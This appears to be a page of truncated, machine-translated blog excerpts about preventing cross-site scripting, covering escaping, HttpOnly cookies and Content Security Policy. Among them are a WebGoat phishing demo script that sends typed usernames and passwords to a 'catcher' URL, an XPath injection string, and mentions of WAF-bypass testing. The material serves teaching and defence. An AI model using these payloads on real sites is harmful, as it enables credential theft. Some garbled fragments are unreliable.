protect against xss

Turn http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.htmlThe XSS full name (cross site Scripting) multi-site Scripting attack is the most common vulnerability in Web applications. An attacker embeds a client script (such as JavaScript) in a Web page, and when the user browses to the page, the script executes on the user's browser to achieve the attacker's purpose. For example, get the user's cookie, navigate to a malicious website, carry a

[Web security practices] XSS Article Points: 1. Understand XSS 2. XSS attacks 3. XSS defense (important)I. Understanding XSS first Let's start with a story. In the previous article, I also want to talk about this case. In fact, what is attack is very simple. Attackers can ob

XSS Concept XSS(crosssite Scripting) Multi-site Scripting attack refers to an attacker who uses a Web site program to filter user input and enter HTML that can be displayed on the page to affect other users code to steal user data, take advantage of a user's identity to perform some kind of action, or attack a visitor for viruses. Cross-site scripting attacks are usually abbreviated to

This article mainly describes the suggestions for XSS security defense against cross-site scripting attacks, if you are interested in the XSS security defense suggestions, you can click the following article to view details. XSS attacks are the biggest threat to Web Services. They do not only harm Web services, but also directly affect users who access Web servic

The basic principles of XSS cross-site scripting attacks are similar to those of SQL injection attacks (in my opinion). They all use the system to execute unfiltered dangerous code, the difference is that XSS is a web script-based injection method, that is, it writes the Script attack load to the web page for execution to attack the Web Client to access users. This is a client attack. SQL injection attacks

Xeye Team As a result of browser features, firefox and chrome are by default. IE8 is not supported by default. Others do not care about not testing. When a user logs on, the browser prompts the user to remember the password:1. For firefox, users have three options: Remember, do not record this site, and do not.2. For chorme, the user will prompt "do you want Google Chrome to save your password ?", You have two options: Save the password and do not save the password on this site.3. When the "user

Cross Site scripting attacks (Scripting), which are not confused with the abbreviations of cascading style sheets (cascading style Sheets, CSS), are abbreviated as XSS for cross-site scripting attacks.Here we divide the context to form a defensive solution, although it is still possible to generate XSS in some special cases, but if you follow this solution strictly, you can avoid most

Solutions to XSS attacks In my previous article "XSS attacks of front-end security", I did not provide a complete solution to XSS attacks, and XSS attacks were so varied, are there any tricks that can be used to compete? After all, developers cannot take care of these scenarios. Today, by reading the white hat Web secu

file as follows: 1 XML version= "1.0" encoding= "UTF-8"?>2 Users>3 Admin>4 name>Adminname>5 Password>123Password>6 Admin>7 Users> The corresponding query language might be: Users/admin[name/text () = ' admin ' and password/text () = ' 123 '] If you enter ' or ' 1 ' = ' in the user name and password box, the 1,xpath statement becomes: Users/admin[name/text () = ' or ' 1 ' = ' 1 ' and password/text () = ' or ' 1 ' = ' 1 '] The predicate inside the parentheses results in T

XSS attacks and their terrible nature and flexibility are favored by hackers. For XSS attacks, the editor provides the following security suggestions to common WEB users and WEB application developers: Web User 1. Be extremely careful when you click a link in an email or instant messaging software: Pay attention to suspicious long links, especially those that seem to contain HTML code. If you have doubts

Summary: Attacks on Web servers can also be said to be various, a wide variety of common, such as hanging horses, SQL injection, buffer overflow, sniffing, using IIS and other attacks against webserver vulnerabilities. This article combines the common SQL injection, cross-site Scripting Attack (XSS), cross-site request forgery (CSRF) attack in Web TOP10, and introduces the corresponding precautionary method.Key Words: SQL injection,

======================================================================= BackTrack 5 R1 Xsser of XSS Research (Super XSS attack weapon) instruction in Chinese versionXsser Instructions for use================================================================Brief introduction:===============================================================The cross-site scripting person is an automated framework that detects, e

We often say that the network security should include the following three aspects of security: 1, confidentiality, such as the user's privacy is stolen, account theft, the common way is a Trojan horse. 2, completeness, such as the integrity of the data, for example, Kangxi Pass a bit 14 son, was at that time four elder brother Tamper Yizhao: Pass in four son, of course this is legend, Common way is XSS cross-site scripting attack and CSRF cross-site r

Waf xss bypass posture Due to the wide use of application firewalls, it is necessary to test WAF's ability to defend against xss attacks. Of course, all the experiments are to prove that the vendor must eliminate the vulnerability from the root cause, and cannot lie on the WAF without any worries.Some popular WAF such as F5 Big IP, Imperva Incapsula, AQTRONIX WebKnight, PHP-IDS, Mod-Security, Sucuri, QuickD

Update20151202:Thank you for your attention and answer, at present I learned from various ways of defense methods, organized as follows: PHP直接输出html的，可以采用以下的方法进行过滤：1.htmlspecialchars函数2.htmlentities函数3.HTMLPurifier.auto.php插件4.RemoveXss函数（百度可以查到） PHP输出到JS代码中，或者开发Json API的，则需要前端在JS中进行过滤：1.尽量使用innerText(IE)和textContent(Firefox),也就是jQuery的text()来输出文本内容2.必须要用innerHTML等等函数，则需要做类似php的htmlspecialchars的过滤（参照@eechen的答案） 其它的通用的补充性防御手段1.在输出html时，加上Content Security Policy的Http Header（作用：可以防

Web Security XSSSimple Reflective XSS Fishing DemoForm>Script> functionHack) {xssimage=New Image; Xssimage.src="Http://localhost:8080/WebGoat/catcher?PROPERTY=yesuser=" +Document.phish.user.value +"password=" +Document.phish.pass.value +""; Alert"Had this been a real attack ... Your credentials were just stolen. User Name = "+Document.phish.user.value +"Password =" +Document.phish.pass.value);}Script>FormName="Phish" >Br>Br>Hr>H2>this feature requires

Perhaps we often see some experts test XSS vulnerability is a window to alert. Think of XSS as such, when you alert out of the window, they say that they found a loophole.It's not that simple, actually. What you find is just a small bug for programmers, far from XSS. Their relationship is like the relationship between system vulnerability and exploit. Has your sy

Tags: submit form com instead of replace HTTP Chinese name Access authorization containsSummary: Attacks on Web servers can also be said to be various, a wide variety of common, such as hanging horses, SQL injection, buffer overflow, sniffing, using IIS and other attacks against webserver vulnerabilities. This article combines the common SQL injection, cross-site Scripting Attack (XSS), cross-site request forgery (CSRF) attack in Web TOP10, and introd

prevent:The developer can set the HttpOnly tag in the cookie so that JavaScript will not be able to access the cookie.13. Content Security Policy (CSP)CSP (Content security Policy) is an added layer of security that helps detect and mitigate certain types of attacks, including cross-site scripting (XSS) and data injection attacks.Use the Content-security-policy method in the HTTP header to start the CSP.ExampleContent-security-policy:default-src ' se

For a hands-on demonstration of the use of the HTML5 sandbox, see deep Defense on IE Test Drive: HTML5 Sandbox (English). Protect your privacy when browsing the web InPrivate Private Browsing: When you use InPrivate to browse the network, after you close the index tag, the password, search history and page history and other information will be deleted, to avoid the personal data left on the public computer. Browse with ease The "No Trace" featur